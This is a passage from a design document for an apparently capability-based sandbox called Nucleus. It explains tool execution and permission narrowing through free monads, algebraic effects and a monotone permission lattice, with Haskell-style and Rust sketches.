-- Free monad: a program is a sequence of operations
type SandboxProgram = Free SandboxF

-- Strategist: builds the program (pure)
strategist :: Issue -> SandboxProgram Plan

-- Reconciler: interprets with effects (IO)
reconciler :: SandboxProgram a -> Policy -> IO a

-- Validator: inspects the trace (pure)
validator :: Trace -> Verdict

This separation buys us:

  1. Testability: Strategist output can be inspected without running effects
  2. Replay: Programs can be re-interpreted against different policies
  3. Auditing: The program structure is data, not opaque closures

Algebraic Effects for Temporal Workflows

Temporal workflows go beyond classic monads. They’re closer to algebraic effects:

effect CreatePod : PodSpec -> PodId
effect RunTool   : PodId * ToolCall -> ToolResult
effect AwaitSignal : SignalName -> SignalValue
effect Sleep     : Duration -> ()

handler workflow {
  return x -> Done(x)
  CreatePod(spec, k) -> persist(); pod <- firecracker(spec); k(pod)
  RunTool(pod, call, k) -> persist(); result <- proxy(pod, call); k(result)
  AwaitSignal(name, k) -> suspend(); await signal(name); k(value)
}

Effects can be:

  • Handled at different levels (activity retries vs workflow timeouts)
  • Intercepted (for logging, metering, approval injection)
  • Persisted (workflow state survives process crashes)
  • Compensated (rollback on failure)

This is more expressive than monad transformers because effects are first-class and can be handled non-locally.


The Monotone Envelope

Security posture should be monotone: it can only tighten or terminate, never silently relax.

                    time →
    ┌─────────────────────────────────────────┐
    │  Permissions                            │
    │  ████████████████████                   │  ← start
    │  ██████████████████                     │  ← delegation
    │  ████████████████                       │  ← budget consumed
    │  ██████████████                         │  ← time elapsed
    │  ████████████                           │  ← approval consumed
    │                     ×                   │  ← terminated
    └─────────────────────────────────────────┘

This is modeled as a monotone function on the permission lattice:

ν : L → L
where ∀p. ν(p) ≤ p  (deflationary)
  and ν(ν(p)) = ν(p)  (idempotent)

The normalization function ν can only move down the lattice (add obligations, reduce capabilities), never up.


Why Not Pipelines?

Unix pipelines are beautiful for data transformation:

cat file | grep pattern | sort | uniq

But they don’t model:

  1. Capability requirements: grep doesn’t need different permissions than sort
  2. Effect sequencing: Order matters for effects, not just data flow
  3. Failure modes: Pipes abort; we need richer error handling
  4. Context threading: Permissions, budget, time must flow through

Pipelines transform data. Monads sequence effects with context. Nucleus is about constraining which effects are expressible—that’s fundamentally effect-theoretic.


Practical Implications

For the Rust Implementation

#![allow(unused)]
fn main() {
// Capability requirements as trait bounds (graded monad style)
pub trait ToolOp {
    type Capability: CapabilityRequirement;
    fn execute<P: Policy>(self, policy: &P) -> Result<Output, PolicyError>
    where
        P: HasCapability<Self::Capability>;
}

// Workflow steps as an enum (free monad style)
pub enum WorkflowStep<T> {
    CreatePod(PodSpec, Box<dyn FnOnce(PodId) -> WorkflowStep<T>>),
    RunTool(PodId, ToolCall, Box<dyn FnOnce(ToolResult) -> WorkflowStep<T>>),
    AwaitSignal(String, Box<dyn FnOnce(Signal) -> WorkflowStep<T>>),
    Done(T),
}

// Permission composition via meet
impl<P: PermissionLattice, Q: PermissionLattice> Meet for (P, Q) {
    type Output = <P as Meet<Q>>::Output;
    fn meet(self) -> Self::Output { ... }
}
}

For Users

Think of Nucleus permissions as types, not configuration:

  • The permission lattice is like a type parameter
  • Operations have capability requirements like trait bounds
  • Sequencing operations composes their requirements
  • The uninhabitable state constraint is a type-level invariant, not a runtime check

References


Acknowledgments

The permission lattice design was influenced by capability-based security (Dennis & Van Horn, 1966), object-capability systems (Mark Miller’s E language), and Rust’s ownership model. The three-player game draws from formal verification’s approach to separating specification from implementation.